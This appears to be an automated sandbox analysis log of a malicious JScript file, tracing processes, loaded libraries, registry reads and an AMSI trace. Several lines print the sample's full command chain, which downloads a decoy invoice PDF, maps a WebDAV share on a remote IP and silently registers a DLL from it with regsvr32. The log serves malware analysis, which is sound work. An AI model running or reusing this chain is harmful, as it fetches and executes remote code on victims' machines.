Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 251011677249918058.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@27/43@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2736

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1220:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_onwggqlf.rhh.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\251011677249918058.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1596,i,5625077629047493174,4012142111015455461,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1596,i,5625077629047493174,4012142111015455461,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\6158.js.csv");ITextStream.WriteLine(" entry:8195 f:hradt");ITextStream.WriteLine(" exec:2 f:hradt");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
